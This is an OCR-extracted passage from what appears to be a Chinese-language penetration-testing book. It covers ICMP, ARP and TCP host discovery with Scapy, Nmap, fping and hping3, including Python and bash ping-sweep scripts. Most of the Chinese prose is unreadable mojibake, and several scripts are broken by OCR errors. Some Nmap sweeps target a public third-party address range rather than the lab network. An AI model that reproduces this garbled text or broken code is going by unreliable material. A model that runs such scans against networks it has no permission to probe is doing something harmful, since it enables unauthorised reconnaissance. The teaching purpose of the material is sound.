." + address.split('.")[2] + '.'

for addr in range(1, ):
answer=sr1(ARP(pdst=prefix+str(addr)), timeout=1, verbose=0)

if answer == None:
pass
else:
print prefix+str(addr)



B AR89 5% — 474718 T Python A## 5 BT 694 B » VMR R AT vUE R A% 3% 3] iR A 5

B LT AT o ARG B A5 APTH Scapy i » H € L Scapy B &K &F] > v
HIRB AT RL B0l o BEANT FEEE s VMETUALARA FRIEZ L o

B ARAG IR A SRR o AT IELE M ARET A EO5R o wRAENTH
APBEEPTF G55 M ARG BAE R E LA o A B TR % » T4
Fo BT WATAE 48 iR 4% o

FERZINMKRAIRZ G » H— R ITIHIT IR A REL interface &

¥ o T— AR #,AEH check_output() F#AEZREMAT ifconfig ALANM »
LR RAAAL T grep #7 cut MAEA SRR ARILIE O RILIP 33k o KB L
HIRD ip T& o RABSEM split REI IP HAEFHF S PRI / 24 MEHT
%o fldm s R ip TEEE 192.168.11.4 FH B > M4EH 192.168.11 ° €
KR4 prefix TE o

e — MR E — AN TIAT LR for 3R o for AR ANT 0 o
254 Z_ R B PT A A » Bt THREAR » SIARE MimB M& A4 @ o £-F 2t
BEag w6 > 543t 192.168.11.0 #7 192.168.11.254 Z A &9 &/ |P Hik
K% ICMP @R K o A THAG L6 Es) LA > J548 269 IP babdT 60 2]
FEUAERAENL LAN L& o —ERAKBARME F > IRT AL L P I8
A& FFasti » REZTHATH ARG LR EIATE - AAUT A TRATH R854

4

root@KalilLinux:~# ./pinger.py

Usage - ./pinger.py [/24 network address]

Example - ./pinger.py 172.16.36.0

Example will perform an ICMP scan of the 172.16.36.0/24 range
root@KalilLinux:~# ./pinger.py

172.16.36.0

172.16.36.2

172.16.36.1

172.16.36.132

172.16.36.135

o R B BT ALGF LT HATHAR » MeBAE R ZEm B2 AR ERAF
HEEE A W ARF AT EL T / 24 MBENRE o REGTH
1% 172.16.36.0 MZMALRPATH A - wB ARG EE / 24 M TLEL
& IP AL F) R o I T e RIEFT TR b LA > BRA
EXHL o —AMBFoT

root@KalilLinux:~# ./pinger.py 172.16.36.0 > output.txt
root@KalilLinux:~# ls output.txt

output.txt

root@KalilLinux:~# cat output.txt

172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135



RETVAEH 1s 5 R EREIHZETCEALHF AL > KETE
Bl cat 4 EHAEANE o WTAEFRLBI A » RS IP AT ZEABA o A
st oM F P For PEIRNRAGINE N IATE B 69 LA LA IR ILEGIT o —ANB]F4 T

#!1/usr/bin/python

import logging
logging.getLogger("scapy.runtime").setlLevel(logging.ERROR)
from scapy.all import *

if len(sys.argv) !=

print "Usage - ./pinger.py [filename]"

print "Example - ./pinger.py iplist.txt"

print "Example will perform an ICMP ping scan of the IP addr
esses listed in iplist.txt"

sys.exit()

filename = str(sys.argv[1])
file = open(filename, 'r')

for addr in file:
ans=sr1(IP(dst=addr.strip())/ICMP(), timeout=1, verbose=0)
if ans == None:
pass
else:
print addr.strip()

S5Z AR ARE—ETERFNE  CEZ—AMAIH LA 53 REBITBE
S F A B e IP ik idads o SEMBALN A RGHE LiEA A
ICMP & 25 K6 A %6948 % IP ke i £5] % » £+ 6,4 ICMP & 2945 :

root@KalilLinux:~# ./pinger.py

Usage - ./pinger.py [filename]

Example - ./pinger.py iplist.txt

Example will perform an

ICMP ping scan of the IP addresses listed in iplist.txt
root@KalilLinux:~# ./pinger.py iplist.txt

172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

el ARG S B T v AAAR Bl 69 7 N E 2 @ Bl 4 E Uk o AR AR S 8RB 69 4 A U
kAT A s REERARIETELGHE » ERME XAIHGLHE o — ] F 4o
T



root@KaliLinux:~# ./pinger.py iplist.txt > output.txt
root@KaliLinux:~# 1ls output.txt

output.txt

root@KalilLinux:~# cat output.txt

172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

IAEJR 32

4 A% B Scapy il A9 B3 IP 2 Ao M Aoty ICMP % K 8914 K k47 ICMP % =
BRI o IPERBIGIH KRG I A ELZ I F L ICMP & RA TR A%
1F KRR o f£ Python B AR AL ALK » T3 B HATHAE S » ka5 A&
GREAM % CH o

2.8 1/ Nmap X% = 2

Nmap A& Kali Linux ¥ &% Kfe k@M egfa LA — o Hik» £1F% > Nmap
A E 3 ICMP Z3Aadh o B E T T wefMiE Al Nmap £ I EPATEZE
K o

&

1% ) Nmap #ATH Z B X T FE S » BA Internet L6952 A%H ¥ =@ 8
ICMP & 24 K o 122 » 32 2 E R R £ KA ThY IR F PATIEAT LA 65 W %
B RN DA RREZIETE NN b0 6 KA EN o o RARA L 1 L I0IR
FBPHATHEAR » REZEZ VA -/ AR ICMP %K) A% o ERBEETH P » 4%
A Linux #= Windows A& 4 o AR EARERINFPEEALNE 5128
ih % W — % P 6922 X Metasploitable2”##“ 2 ¥ Windows Server’#tf& o stoh » K
FTEEZFRAIARESR (42 VIM X Nano) EHWREAIHAL - HXBEBEHA
MESEE BH5EAF—FTFORAIARES (VIMF Nano) "4 o

BAE T B’

NmapA—# B &g Th » €T A&E AHAE  HIITH2E » FIEXFL4ER
Ho deR -sn &0 /AE Nmap FHATRBAREELE £ IP Hik > B ICMP
B RERERTHEINAGLTEHREFLE AL o AT EA B IRIAT

ICMP 424 » 5{E A # A -sn &LAENmap » H1E8 R4 fi6) |P HeabtE A 540



root@KaliLinux:~# nmap -sn 74.125.228.1

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-16 23:05 EST
Nmap scan report for iad23s05-in-f1.1el100.net (74.125.228.1)
Host is up (0.00013s latency).

Nmap done: 1 IP address (1 host up) scanned in 0.02 seconds

RSB RAT RERT LR » TRBEA XA PATAM G FmZ 8 o It
HEE D ARLMRALCHT o Nmap AT DNS AEM R A2 42 #5547 F P 3R 20A2

Boo CRTUMTIERARITH T8 IPHuELEE o Nmap RIAFALTA %
BALE > FRFATETE AU - Hib o Nmap AR ERTIEFTR  FF
T g4

root@KaliLinux:~# nmap -sn 74.125.228.1-255
Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-16 23:14 EST
Nmap scan report for iad23s05-in-f1.1el100.net (74.125.228.1)
Host is up (0.00012s latency).
Nmap scan report for iad23s05-in-f2.1el100.net (74.125.228.2)
Host is up (0.0064s latency).
Nmap scan report for iad23s05-in-f3.1el100.net (74.125.228.3)
Host is up (0.0070s latency).
Nmap scan report for iad23s05-in-f4.1el100.net (74.125.228.4)
Host is up (0.00015s latency).
Nmap scan report for iad23s05-in-f5.1el100.net (74.125.228.5)
Host is up (0.00013s latency).
Nmap scan report for iad23s05-in-f6.1el100.net (74.125.228.6)
Host is up (0.00012s latency).
Nmap scan report for 1ad23s05-in-f7.1el100.net (74.125.228.7)
Host is up (0.00012s latency).
Nmap scan report for 1ad23s05-in-f8.1el100.net (74.125.228.8)
Host is up (0.00012s latency).

*** [TRUNCATED} ***

EARBEGTHF > Nmap A Ta#EANS / 24 ME&TEE - ATH1edE  shad

b s BARABRWT o 38 24 A Wireshark 2 #3832 69A € » TR AEZEE L &b
WRARNFiash o XTREATHEFRBBAFAZ o ZE Nmap 89 % &A24F M6
#—FEE o FRTT Y HARAR TR o e TR P 63 B it A2

Mo Destination Protocol Infe

85 74.125.228.2 ICMP Echo (ping) request 1d=0x0620, seq=0/0, ttl=52
B6 74,125.228.3 ICMP Echo [ping] request 1d=0x3507, seq=0/0, £t1=50
87 74.125.228.4 I1CMP Echo (ping) request 1d=0xa375, seq=0/0, ttl=44
88 74.125.228.5 I1CMP Echo (ping) request 1d=0xcE93, seq=0/0, ttl=45
B89 74.125.228.6 ICMP Eche (ping) request i1d=0x2fsh, seq=0/0, ttl=56
90 74.125.228.7 I1CMP Eche (ping) request 1id=0xfa75, seq=0/0, ttl=43

RA > Nmap LT R TafMm A LA/ T IP AL o ZTUMER -iL &R0 B
R S 3, S 642 89 2 AR R K



root@KalilLinux:~# cat iplist.txt

74.125.228.13 74.125.228.28

74.125.228.47 74.125.228.144

74.125.228.162 74.125.228.211

root@KaliLinux:~# nmap -iL iplist.txt -sn

Starting Nmap 6.25 ( http://nmap.org ) at 2013-12-16 23:14 EST
Nmap scan report for iad23s05-in-f13.1e100.net (74.125.228.13)
Host is up (0.00010s latency).

Nmap scan report for iad23s05-in-f28.1e100.net (74.125.228.28)
Host is up (0.0069s latency).

Nmap scan report for iad23s06-in-f15.1e100.net (74.125.228.47)
Host is up (0.0068s latency).

Nmap scan report for iad23s17-in-f16.1e100.net (74.125.228.144)
Host is up (0.00010s latency).

Nmap scan report for iad23s18-in-f2.1el100.net (74.125.228.162)
Host is up (0.0077s latency).

Nmap scan report for 74.125.228.211

Host is up (0.00022s latency).

Nmap done: 6 IP addresses (6 hosts up) scanned in 0.04 seconds

ERGERGIT » HATA JFBESA PRI II R o KRG LI RI A
Nmap F > 333 85447 & 89 3ak % 2 X425 7 5h TAL o

IAEJR 32

Nmap 38 i «f 4245 69 30 B 3 U R A 8944 IP #ak X 8 ICMP © 245 K » Rk
1T%32 % T Nmap F— NS ERLEL > FAELHITRESMER &1
SRERELRA P - BT Nmap (9 XA A AE L » AR ICMP &£
Mo R ARP ZIM T EA R TALRITF M L6 Eh o RF > w2 ARP R XK
ICMP X ILAR RALH 2R 31 52 P bk L6975 3h T LT » AR R4 R B wE R I
7}§ o

2.9 1 A fping K& H =2

fping TRA%KEMTHLH ping TR 28 TLART L ping ¥ 14
ERH S W ie o LMW REIE fping RO MMEH BRI L » £ & HIME
oo BALAEE T T ST fping £ AL T ERATHIE LI o

%

1 B fping #ATH ZE XA EELBINE » B A Internet Lo % A 4K %=
2 ICMP ® 245 K o 12% » 38 2l BUIR R A2 8 B Th) I IRIE b $ATAEAT KA 89 W
%iakh o ThIF R A ARRBRE R IEAT T EIAM A b9 EAR LN o e RIRAFE L LR
TP HATHEAR » REFELEVH— AR ICMP 5K A% o £RAEGTHEF >
# A Linux = Windows A% AE o AR ERERIFLFREAANL S
B0 A — % P #9422 X Metasploitable2’#»“ 2 ¥ Windows Server’#k 4% o



e B

fping FEF XM T Hhe T — LI EE ping THE o BT L ping 8948 F
AR EMNAFRKLEICMP @I RER > AR AT ES o ZXiBLI IP Hoabtf
A HFAE% Y fping ERAEFRTR ¢

root@KaliLinux:~# fping 172.16.36.135
172.16.36.135 is alive

iz 4 ping TATRE > fping &£ KB £ LG IELE ICMP & 15 K -
AEKIDEN > C¥ L7 2 ZHAEE EAEEFHE o RFH 0 b R RIAHAFIK
Blem )z o M AEHET EMATEZA > fping BHFZRKA AL DK ¢

root@KaliLinux:~# fping 172.16.36.136
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1

72.16.36.136
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1

72.16.36.136
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1

72.16.36.136
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to
172.16.36.136 172.16.36.136 is unreachable

TAE -c count IS ASLEKINEFEZRRI AL REE AT L ZRKRI
0y B AE

root@KalilLinux:~# fping 172.16.36.135 -c 1
172.16.36.135 : [0], 84 bytes, 0.67 ms (0.67 avg, 0% loss)

172.16.36.135 : xmt/rcv/%loss = 1/1/0%, min/avg/max = 0.67/0.67/

0.67
root@KalilLinux:~# fping 172.16.36.136 -c 1

172.16.36.136 : xmt/rcv/%loss = 1/0/100%

LA Ay RATE » 50 m G e — 2 > 25T LA AT 2 54T R I AR o 24T T A0
Bt .35 IP ik > Z2X8% (( xmt )  BHEEHK (rev ) FEXE S
( %loss ) ° AR THEIF > fping XINF— AL TEHEAIKSE o LT WA
WA T e fr A0 AR R AR AR E ) F SRR o RET ALK E T S
iRk » kB HELEHELE5RENG IPRAXFEYEHEIN o R BRI K
#1100 MAMKEI=E o

5 ping (RFAEMREHA L) TF » fping RET ERAFE > T 5 A

EAe TIAER fping R ENFI] B g BTAHA LR IP HILF A o B
B RBREE > R AR B EE A T KB — e UG — A IP M :



root@KaliLinux:~# fping -g 172.16.36.1 172.16.36.4

172.16.36.1 is alive

172.16.36.2 is alive

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.3

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.3

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.3

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.3

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.4

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.4

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.4

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.4 172.16.36.3 1is unreachable

172.16.36.4 is unreachable

ARI) R EFLTHTEAT CIDR EEF T EmI K o UAMFAMHFX > fping H
TIN50 A& R0 5] & 42 R A A Mk

root@KaliLinux:~# fping -g 172.16.36.0/24
172.16.36.1 is alive
172.16.36.2 is alive
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.3
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.4
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.5
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.6
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.7
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.8
ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.9

*** [TRUNCATED} ***

WG 0 fping BT AR T EMATAIMG AT — AP M o 242 F
BASUH 2 RAE R -f UHFSR o ARG R AU 89 T B9 42



root@KaliLinux:~# fping -f iplist.txt 172.16.36.2 is alive 172.1
6.36.1 is alive 172.16.36.132 is alive 172.16.36.135 is alive 17
2.16.36.180 is alive

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.203

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.203

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.203

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.203

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.205

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.205

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.205

ICMP Host Unreachable from 172.16.36.180 for ICMP Echo sent to 1
72.16.36.205

172.16.36.203 is unreachable

172.16.36.205 is unreachable

172.16.36.254 is unreachable

IAEJR 32

fping T HAMATICMP R I GG 7 XG5 KN AT LT B4R o st F&AIP
ik o fping RE—ANHE A ICMP & R3F K » ARG 1R AT MG oA 5 AR ) &
HEH o fping BT AR THAIREE B4 LK > kIaH— A7 A% K IP it
B AF & o Bk o KAV FLAE R bash B ARIEE LR » 30818 H ping 4R1E
— Mo RERAA AR ITER -

2.10 1£ 1 hping3 &% % = &

hping3 TTAR TA SRR 77 APATENK G E % 2h4e o € fping £ 5%
Ko BACTARAT SRR X RGXAEAR » 2 AR ZETKAR » AAE
PR TRAZEANIM o Rifg > A AT AE R bash ALK o GREEFT
4o fT4% Al hping3 A ZAZIALLERMATHEIE LA -

%

1# B hping3 #ATHEZEZATEEFHINE > B Internet L8 HF % A4 KB
2 ICMP ® 245 K o 122 » 38 2l BUIR R A2 8 B T 69 2 F0IRIT b AT AEAT KA 89 W
%iakh o ThIF R A ARRBRE L IEAT T EIAM A b9 R EZN o e RIRAFE L ER
TP HATHEAR » REFLEVH— AR ICMP %K A% o £RAEGTHEF >
# M Linux = Windows A% AE o AR ERMERIFLFREAANEL S
B0 1A — % P 69 22 X Metasploitable2’#=“ 2 % Windows Server’#k£% o



hpings & —AJEHBAMAALE » AH R ETHREGETFER - SHBED
3EABAZ EHATEA o A THM hpings & A EAUBILIAT R KK ICMP %
Mo REEHENRE [P HILF T ICMP 426 X584

root@KaliLinux:~# hping3 172.16.36.1 --icmp

HPING 172.16.36.1 (ethl 172.16.36.1): icmp mode set, 28 headers
+ 0 data bytes
len=46 ip=172.16.36.
len=46 ip=172.16.36.
len=46 ip=172.16.36.
len=46 ip=172.16.36.
len=46 ip=172.16.36.
AC

--- 172.16.36.1 hping statistic --5 packets transmitted,
5 packets received, 0% packet loss

round-trip min/avg/max = 0.3/0.4/0.6 ms

ttl=64 id=41835 icmp_seq=0 rtt=0.3 ms
ttl=64 id=5039 icmp_seqg=1 rtt=0.3 ms
ttl=64 id=54056 icmp_seq=2 rtt=0.6 ms
ttl=64 id=50519 icmp_seq=3 rtt=0.5 ms
ttl=64 id=47642 icmp_seq=4 rtt=0.4 ms

R R R R R

RS E MM Ctrl + C #E# « 542 ping TAEM > hpingd ICMP
BAMERBS  BIEENBGLSPHETHEIREORIBE - 4T LBEEY
ERKIC B AL o WA — AR E L RKE B

root@KaliLinux:~# hping3 172.16.36.1 --icmp -c 2

HPING 172.16.36.1 (ethl 172.16.36.1): icmp mode set, 28 headers
+ 0 data bytes

len=46 ip=172.16.36.1 ttl=64 1d=40746 icmp_seqg=0 rtt=0.3 ms
len=46 ip=172.16.36.1 ttl=64 1d=12231 icmp_seqg=1 rtt=0.5 ms
172.16.36.1 hping statistic --

2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.3/0.4/0.5 ms

& A hping3 KIAEALT AR XFaM S AL » 27T X04E A bash Br K42 5 % 5 by
Ko ATHMIZX—% » RNLA G Eshabtn X8t » AR5 Ema
HohbAl KB HEZRAG R F] o A3k o BRATZ %A RSB EIAE P ik E4iE 48
Rl & o4



root@KaliLinux:~# hping3 172.16.36.4 --icmp -c 2

HPING 172.16.36.4 (ethl 172.16.36.4): icmp mode set, 28 headers
+ 0 data bytes

172.16.36.4 hping statistic --

2 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.2/0.2/0.2 ms

--- 172.16.36.4 hping statistic --

1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

REFATIMEYGER » EZIMHERLT > grep JFM-FTREAZA Tihrd - &
T hping3 Faymt L TRAE > AR TEAE ] grep Rk o HFRRBT
FO9AT 0 R TR Z KA T KAy XAFRZIANRA o ARk - KA1 2R 2
ERETUETGE — U 0 KRG RATT A E%%}LIHWP grep ° At &K
2RI e AriE 69 A AN A 0 s B A2 % %4 handle. txt XA

root@KaliLinux:~# hping3 172.16.36.1 --icmp -c 1 >> handle.txt

--- 172.16.36.1 hping statistic --

1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms

root@KaliLinux:~# hping3 172.16.36.4 --icmp -c 1 >> handle.txt

--- 172.16.36.4 hping statistic --

1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

root@KalilLinux:~# cat handle. txt

HPING 172.16.36.1 (ethl 172.16.36.1): icmp mode set, 28 headers
+ 0 data bytes

len=46 1ip=172.16.36.1 ttl=64 1d=56022 icmp_seq=0 rtt=0.4 ms
HPING 172.16.36.4 (ethl 172.16.36.4): icmp mode set, 28 headers
+ 0 data bytes

BRARIFZRAATZERT  RAMEAARAETL QR > KNTUREAER AL
B FHE s R E—ANAZGHA o BIRKH ENEB T Gg—I
— 847 RATR G R ping ZFRAAKEK » FEH LS ZATFAR A9 IP 33k o &
IR R T R AL BN FEZRBEIRGFE / 24 LEPOEAHIE > KRG
% 45 R 4534 3] handle.txt XA :



root@KaliLinux:~# for addr in $(seq 1 254); do hping3 172.16.36.
$addr --icmp -c 1 >> handle.txt & done

--- 172.16.36.2 hping statistic --
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 6.6/6.6/6.6 ms

--- 172.16.36.1 hping statistic --
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 55.2/55.2/55.2 ms

--- 172.16.36.8 hping statistic --
1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

*** [TRUNCATED} ***

W I MARAREG I (REBEQIMBEA T T RAEBE) a4 REL @I

SCAFEG S o 2% 0 AT RE) R NI R T IR % 4 > AR R T

) SO P RS 24T B EG AT

root@KaliLinux:~# 1s

Desktop handle.txt pinger.sh

root@KaliLinux:~# grep len handle.txt

len=46 ip=172.16.36.2 tt1l=128 id=7537 icmp_seqg=0 rtt=6.6 ms

len=46 ip=172.16.36.1 ttl=64 1d=56312 icmp_seq=0 rtt=55.2 ms

len=46 ip=172.16.36.132 tt1l=64 id=47801 icmp_seq=0 rtt=27.3 ms

len=46 ip=172.16.36.135 ttl=64 1d=62601 icmp_seq=0 rtt=77.9 ms

root@KalilLinux:~# grep len handle.txt | cut -d " " -f 2

ip=172.16.36.2

ip=172.16.36.1

ip=172.16.36.132

ip=172.16.36.135

root@KaliLinux:~# grep len handle.txt | cut -d " " -f 2 | cut -d
lI:Il _f 2

172.16.36.2

172.16.36.1

172.16.36.132

172.16.36.135

Wit s AR AR EE R — A 2] cut R KA O P AR IP Sk o
RAEBNTERARALT —F0 7% ik > Riadh 5 A EMIHE G RALER - KA1 %
KR ERI =AW AT o KPTH X LR A A — AR RM AL T T



#!/bin/bash

if [ "$#" -ne 1 ]; then
"Usage - ./ping_sweep.sh [/24 network address]"
"Example - ./ping_sweep.sh 172.16.36.0"
"Example will perform an ICMP ping sweep of the 172.16.
36.0/24 network and output to an output.txt file"

fi
prefix=%( $1 | cut -d '.'" -f 1-3)

for addr in $(seq 1 254); do
hping3 $prefix.$addr --icmp -c 1 >> handle.txt;
done

grep len handle.txt | cut -d " " -f 2 | cut -d "=" -f 2 >> outpu
t.txt
rm handle. txt

FRBEE bash B AT » F—47T LT bash @B R 4L E o 45T k69 RA kAT
MX KA ZGRBETHARG M5 - IRALFFERBEGEAROBREZAEIFT
1R T o WwRARBEIMI AL > Mgl RGRA x> FELBEBR - AL
B WAEEEST / 24 MBMIAEN S o T 47K MIRA4E 69 M & 3nk P 37

B BATR o Plhe > 4o BRI M &AL 192.168.11.0 ° W AR T &K&W

{64 192.168.11 ° RExt / 24 CERGEANRIENAT hping3 #E - F¥ &
ME G0 25 R A handle.txt XH P o

—B %K * grep MTM handle XH FRIREGEs Thvhfta x94T > R
IR AT P ILEC P Heak o ARG H A 8 IP 3AE 8 2] output.txt XA HIA
HZPME handle.txt Wi THF o by KT 0A4E & 5 Fedbi » & R T WATH
KOG L ARIMAT ¢

root@KalilLinux:~# ./ping_sweep.sh
Usage - ./ping_sweep.sh [/24 network address]
Example - ./ping_sweep.sh 172.16.36.0
Example will perform an ICMP ping sweep of the 172.16.36.0/24 ne
twork and output to an output.txt file
root@KalilLinux:~# ./ping_sweep.sh 172.16.36.0
--- 172.16.36.1 hping statistic --
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
--- 172.16.36.2 hping statistic --
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.5/0.5/0.5 ms
--- 172.16.36.3 hping statistic --
1 packets transmitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
*** [TRUNCATED} ***



B ﬂil’$/l¢73\@7*‘/\ output.txt XHFIMATH F o XTUMEA 1s %
W FE cat AT UAATEAIIAFHAZR :

root@KaliLinux:~# 1ls output.txt
output.txt

root@KaliLinux:~# cat output.txt
172.16.36.1

172.16.36.2

172.16.36.132

172.16.36.135

172.16.36.253

B RAEATH IR ASE B EMBHIMEF ARG K EMmd o FEHE - FA
I EAT) R RSB P HR > BACEHERAE S AR 5 T -

IAEJR3E

BAVEEHAT— LB > T A hping3 3t % A EZAUR ML JE B AT EAUE I o
R B AL 512 F] bash B AR 5 AT ICMP Bﬂfiia/ﬁ LTS > B4 R Fn T
ﬁkif]é’mi\ AE9% A R E— R 2 o AN RAAERER L —NEIR 0 KRR iR
% grep ° ﬁﬂ‘]ﬁﬂxréﬁéiﬁﬁﬁi~/x\ﬂip$’ 3t % A RGARRIMAT ICMP £330 » K&
B ESH EMD & o

2.11 1¢ il Scapy &Kk %™ 2

ST A NTUARTEZEERATAARLI o T4 AR P £ IE R WL (UDP)
HAE AR L (TCP) kMAT4a$h o Scapy ™ AR T A& A 3% A fb 4% 4 b 15Uk H14E
82 L#F K FFET G Python WAL S A AF R ERMG R L o shfbfs i
= T #=fT1% Bl Scapy #AT TCP #= UDP 8 % @ 2 X 3, o

%

%M Scapy #AT % B XAF T X EBITN > WA Internet L6935 5 R GiApd§ = §
TCP #= UDP 15K o 122 » B A Z R R ARG T8 LI P HATIETE R G M
%iakh o ThIFR A ARRE L BEAT T UM 56 m 09 SKAREZI o izn%’d FE I FE
FFPHATHHEK » R ELE VA — A TCP/UDP 5 K89 & 4 o f£ 3469 R 4]
¥ 5 4% A Linux 7= Wlndows AAEg L o 1]‘9’%15:4’\%}%%%“!’1‘1_ AU E %
12 8 » F 5 W % —= F 8“2 K Metasploitable2’#“% % Windows Server’#k4% - it
g $FL@%&MX$%f”(%WMXNmmWhW$5Axﬁ%i A % %
EMANESIZE HEAMNF—FT PO ALARER (VIM A Nano) "#b4% o
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AT BRI E ) EMAEKRE| 8 RST sk > &A1 VA48 A Scapy @ B4a 8 i 1 £
K% TCP ACK % dE &, o AR TH F » ACK B 629§ X £ 2] TCP B irsm 0
80 o b oA F A T EAT HTTP Web B % o % 7 P42 A 69 AL S ATIMA /£ k3% 0
L2478 Apache IR % o Ak » RIFZHERINGFROGENE % o BHEY
$—ERIPE - AAET@Eégas

root@KaliLinux:~# scapy Welcome to Scapy (2.2.0)
>>> 1 = IP()
>>> ji.display()
#a[ IP |###
version= 4
ihl= None
tos= 0Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 127.0.0.1
dst= 127.0.0.1
\options\
>>> ji.dst="172.16.36.135"
>>> j.display()
###[ IP |###
version= 4
ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= ip
chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\

LE o M 1 TEWILA 1P % RETHEREAALERE > & B Azbab %k
BHBAAFMRE RN IP Mt o 52E > 54 B A7 b IRBE S O 1% Mo bk Z SN 89 44T IP
BALES o R IP A2 A S EH o RANFEMEGT —BEAKNEG TCP & o &7
ALV T a4 55



>>> t = TCP()
>>> t.display()
#it#[ TCP |###

sport= ftp_data
dport= http
seq= 0

ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}

>>> t.flags="A'
>>> t.display()
#it#[ TCP |###

sport= ftp_data
dport= http
seq= 0

ack= 0
dataofs= None
reserved= 0
flags= A
window= 8192
chksum= None
urgptr= 0
options= {}

FXE > HRMNE t TEwBILA Tep xR o & > A KN ECLELE B 173%
T%E 4 HTTP 3% 0 80 ° uﬁi KMNMAEEHK TCPAEM s (SYN) &%

A A (ACK) o I & » 7T Ll

BT @

T4E R #HAr 5

>R BE R R S AT 4

L



>>> request = (1i/t)

>>> request.display()

#Hit#[ IP |###
version= 4

ihl= None
tos= Ox0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= tcp

chksum= None
src= 172.16.36.180
dst= 172.16.36.135
\options\
#i##[ TCP |###
sport= ftp_data

dport= http
seq= 0
ack= 0

dataofs= None
reserved= 0
flags= A
window= 8192
chksum= None
urgptr= 0
options= {}

KR AT EAE KBRS request TF o I > TR
Fl send # recieve HEIH AR L FEF R RE TR Em L kA B Az ak 6
RA



>>> response = sril(request)
Begin emission:
....... Finished to send 1 packets.

Received 12 packets, got 1 answers, remaining O packets
>>> response.display()
#Hit#[ IP |##t#

version= 4L

ihl= 5L
tos= 0Ox0
len= 40
id= 0
flags= DF
frag= oL
ttl= 64
proto= tcp

chksum= 0x9974
src= 172.16.36.135
dst= 172.16.36.180
\options\
#i#[ TCP [###
sport= http
dport= ftp_data
seq= 0
ack= 0
dataofs= 5L
reserved= OL
flags= R
window= 0
chksum= 0xe21
urgptr= 0
options= {}
###[ Padding |###
load= "\XO00\XOO\XOO\XOO0\X00\Xx00'

WER  REALMEAELET RST A2 &6 TCP £4E G 7ToAR « Xd4ie
% flags BMEe) R MAAT o A HEPEA KL » TR S K R S
ok L B BN AR R G A A A



>>> response = srl1(IP(dst="172.16.36.135")/TCP(flags="'A"'))
.Begin emission:

Finished to send 1 packets.
*
Received 22 packets, got 1 answers, remaining O packets
>>> response.display()
#Hit#[ IP |###
version= 4L
ihl= 5L
tos= 0Ox0
len= 40
id= 0
flags= DF
frag= oL
ttl= 64
proto= tcp
chksum= 0x9974
src= 172.16.36.135
dst= 172.16.36.180
\options\
#i#[ TCP |###
sport= http
dport= ftp_data
seq= 0
ack= 0
dataofs= 5L
reserved= OL
flags= R
window= 0
chksum= 0xe21
urgptr= 0
options= {}
###[ Padding ]###
load= '"\x00\x00\x00\x00\x00\x00'

MAERNCEHET T H5RED E3H T EIT 3% 269 ACK 24 @48 % J% 89 o
Ko BEMNZRGEHAL LG ERAF O R ERLMGER > AT hm L EAHIE
1T AL



>>> response = sr1(IP(dst="172.16.36.135")/TCP(dport=1111,flags=
lAI))
.Begin emission:

Finished to send 1 packets.
*
Received 15 packets, got 1 answers, remaining O packets
>>> response.display()
#Hi#[ IP |###
version= 4L
ihl= 5L
tos= 0Ox0
len= 40
id= 0
flags= DF
frag= OL
ttl= 64
proto= tcp
chksum= 0x9974
src= 172.16.36.135
dst= 172.16.36.180
\options\
#i#[ TCP |###
sport= 1111
